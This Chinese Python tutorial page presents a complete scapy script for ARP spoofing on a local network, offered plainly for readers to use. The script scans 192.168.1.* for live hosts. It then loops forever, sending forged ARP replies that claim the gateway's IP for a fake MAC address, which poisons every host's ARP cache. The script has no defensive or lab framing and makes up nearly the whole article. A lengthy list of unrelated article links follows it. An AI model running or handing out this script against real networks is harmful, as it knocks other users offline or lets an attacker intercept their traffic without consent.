python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
使用go和python递归删除.ds store文件的方法
Jan 22 Python
python实现用于测试网站访问速率的方法
May 26 Python
Python实现多并发访问网站功能示例
Jun 19 Python
Python实现简易Web爬虫详解
Jan 03 Python
详解如何将python3.6软件的py文件打包成exe程序
Oct 09 Python
Python 合并多个TXT文件并统计词频的实现
Aug 23 Python
Windows下pycharm创建Django 项目(虚拟环境)过程解析
Sep 16 Python
python+opencv实现车牌定位功能(实例代码)
Dec 24 Python
Python Selenium安装及环境配置的实现
Mar 17 Python
解决Ubuntu18中的pycharm不能调用tensorflow-gpu的问题
Sep 17 Python
如何用Python 实现全连接神经网络(Multi-layer Perceptron)
Oct 15 Python
python爬虫scrapy框架的梨视频案例解析
Feb 20 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
PHP 日志缩略名的创建函数代码
2010/05/26 PHP
关于zend studio 出现乱码问题的总结
2013/06/23 PHP
两个php日期控制类实例
2014/12/09 PHP
PHP实现QQ登录实例代码
2016/01/14 PHP
PHP5.5.15+Apache2.4.10+MySQL5.6.20配置方法分享
2016/05/06 PHP
用户注册常用javascript代码
2009/08/29 Javascript
Jquery实现显示和隐藏的4种简单方式
2013/08/28 Javascript
jQuery修改class属性和CSS样式整理
2015/01/30 Javascript
nodejs事件的监听与触发的理解分析
2015/02/12 NodeJs
window.open打开窗口被拦截的快速解决方法
2016/08/04 Javascript
JavaScript中ES6字符串扩展方法
2016/08/26 Javascript
JS设计模式之单例模式(一)
2017/09/29 Javascript
vue点击input弹出带搜索键盘并监听该元素的方法
2018/08/25 Javascript
Node.js 使用request模块下载文件的实例
2018/09/05 Javascript
JavaScript时间日期操作实例小结【5个示例】
2018/12/22 Javascript
layui实现数据表格table分页功能(ajax异步)
2019/07/27 Javascript
[01:06]DOTA2小知识课堂 Ep.01 TP出门不要忘记帮队友灌瓶哦
2019/12/05 DOTA
Windows平台Python连接sqlite3数据库的方法分析
2017/07/12 Python
利用Python查看目录中的文件示例详解
2017/08/28 Python
Python中property函数用法实例分析
2018/06/04 Python
通过python爬虫赚钱的方法
2019/01/29 Python
详解PyTorch手写数字识别(MNIST数据集)
2019/08/16 Python
Pytorch通过保存为ONNX模型转TensorRT5的实现
2020/05/25 Python
keras输出预测值和真实值方式
2020/06/27 Python
python中slice参数过长的处理方法及实例
2020/12/15 Python
美国礼品卡交易网站:Cardpool
2018/08/27 全球购物
网络工程师面试(三木通信技术有限公司)
2013/06/05 面试题
写好求职信第一句话的技巧
2013/10/26 职场文书
本科毕业生的求职信范文
2013/11/20 职场文书
主管竞聘书范文
2014/03/31 职场文书
学习十八大标语
2014/10/09 职场文书
公务员群众路线心得体会
2014/11/03 职场文书
2015年教务工作总结
2015/05/23 职场文书
汤姆叔叔的小屋读书笔记
2015/06/30 职场文书
环保宣传语大全
2015/07/13 职场文书
Android Canvas绘制文字横纵向对齐
2022/06/05 Java/Android